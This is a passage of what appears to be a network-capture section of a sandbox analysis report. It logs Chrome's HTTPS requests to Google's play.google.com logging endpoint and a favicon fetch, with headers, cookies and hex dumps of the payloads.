61 3f 63 2e 70 75 73 68 28 22 5b 2e 2e 2e 6c 6f 6e 67 20 73 74 61 63 6b 2e 2e 2e 5d 22 29 3a 63 2e 70 75 73 68 28 22 5b 65 6e 64 5d 22 29 3b 72 Data Ascii: ":f=(f=sb(f))?f:"[fn]";break;default:f=typeof f}f.length>40&&(f=f.slice(0,40)+"...");c.push(f)}b.push(a);c.push(")\n");try{c.push(wb(a.caller,b))}catch(h){c.push("[exception trying to get caller]\n")}}else a?c.push("[...long stack...]"):c.push("[end]");r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49775	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:42 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:43 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:02:42 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49776	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:42 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:43 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:02:43 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49779	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:43 UTC	1060	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:43 UTC	519	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 35 36 34 35 36 31 31 39 38 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727564561198",null,null,null
2024-09-28 23:02:43 UTC	932	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=vpR5z19_jAeGS7w2z44uV9Nw0Zrkq_O84XU7HqejKWs43j6qhsULv_QVfNC7xOZezy-S1qRmX-p5iTk4x4YfttJIFtSSMW9zBKdRAlpzsyW_HSxo0dooV5hC8xXfupbZF1eN45NQxmmSsisyAeWMgPlih7YQ3aXdxHQA8Nyd72IOZR51cQ; expires=Sun, 30-Mar-2025 23:02:43 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:02:43 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 28 Sep 2024 23:02:43 GMT Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:43 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:02:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49782	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:43 UTC	1060	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:43 UTC	519	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 35 36 34 35 36 31 32 37 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727564561279",null,null,null
2024-09-28 23:02:44 UTC	932	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=pGvgU9m2cL1RRs7BfZ3bB0EsafGiNQdduEUb5Gw00w6MF1INqfeOvAORFJ_hTW7r4LPqS_04bQEDiS7m-YhQ5Uah-HMGHW-N38nGORIMuXBUJ0HHdmT9t3Oe9iaAfRHvFr-aJZdJCNmJ5Z3coJsNxx_GOITPPKLBHQsW3kJENmsAPOCGQQ; expires=Sun, 30-Mar-2025 23:02:44 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:02:44 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 28 Sep 2024 23:02:44 GMT Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:44 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:02:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49784	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:44 UTC	1060	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:44 UTC	519	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 35 36 34 35 36 32 36 34 37 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727564562647",null,null,null
2024-09-28 23:02:44 UTC	933	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=TgfOJV4tTMMiS4Smry34riCEBl_FtzA9COZqg4aK3vlaHit3R2Qr9QHLw4CYaO-H3_75p6GchM9oXIWj8Xi8tUt9B8lQCI_4XwDGlvuTLh3G7ODMxhQ8N_2GrowiHdBLW3ZOc3JtdyjObhlF17qiegI6FCphyeGjTXnEAi0W-_2s3d2PVY0; expires=Sun, 30-Mar-2025 23:02:44 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:02:44 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 28 Sep 2024 23:02:44 GMT Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:44 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:02:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49785	142.250.185.174	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:44 UTC	1060	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 518 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-28 23:02:44 UTC	518	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 35 36 34 35 36 32 39 39 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727564562992",null,null,null
2024-09-28 23:02:44 UTC	933	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=NT-b1A32BaecGGVvgPfQO-TGIu7E-FBpCM5klQaGg_tFOpLI4n6aO7z23z50rAFqOdKxMsMbAhM_drEfKgHmuMogJ9QWns46-uwzAOJwq_cTiJY2rm_gQdhr8hxHPsIFLRyLSoBRsKf4IF9-47LnOE9B4Yp5LLdPcCMQml1cjT0CjQm9lfg; expires=Sun, 30-Mar-2025 23:02:44 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sat, 28 Sep 2024 23:02:44 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sat, 28 Sep 2024 23:02:44 GMT Connection: close Transfer-Encoding: chunked
2024-09-28 23:02:44 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-09-28 23:02:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49787	216.58.206.68	443	7264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-28 23:02:44 UTC	1149	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIpbbJAQipncoBCMeVywEIlqHLAQiFoM0BCLnKzQEI+cDUFQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=pGvgU9m2cL1RRs7BfZ3bB0EsafGiNQdduEUb5Gw00w6MF1INqfeOvAORFJ_hTW7r4LPqS_04bQEDiS7m-YhQ5Uah-HMGHW-N38nGORIMuXBUJ0HHdmT9t3Oe9iaAfRHvFr-aJZdJCNmJ5Z3coJsNxx_GOITPPKLBHQsW3kJENmsAPOCGQQ
2024-09-28 23:02:45 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat, 28 Sep 2024 21:13:36 GMT Expires: Sun, 06 Oct 2024 21:13:36 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 6548 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-28 23:02:45 UTC	685	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-09-28 23:02:45 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
